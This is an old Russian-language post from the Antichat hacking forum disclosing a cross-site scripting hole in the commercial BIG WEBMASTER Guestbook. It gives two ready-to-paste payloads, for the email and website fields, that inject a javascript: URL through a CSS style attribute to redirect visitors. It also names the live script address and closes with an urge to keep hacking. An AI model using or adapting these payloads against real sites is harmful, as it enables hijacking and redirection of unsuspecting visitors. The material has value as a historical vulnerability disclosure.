Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги big webmaster guestbook (https://forum.antichat.xyz/showthread.php?t=1936)

Егорыч+++ 21.05.2004 10:12

BIG WEBMASTER Guestbook - Отстойная гостевая . Более того продается за деньги.

Вставляем в тело почты

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">dede@de.de" style=background-image:url(javascript:navigate:'antichat.ru'));> [/QUOTE]<span id='postcolor'>

Если вдруг в дырка в почте прикрыта, то можно вставить скрипт в website.

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">frferf.de">< style=background-image:url(javascript:navigate:'antichat.ru'));> [/QUOTE]<span id='postcolor'>

В любом случае получаем редирект на АНТИЧАТ.
Адрес скрипта

http://guestbook.bigwebmaster.com/

Ломаем дальше


Время: 15:13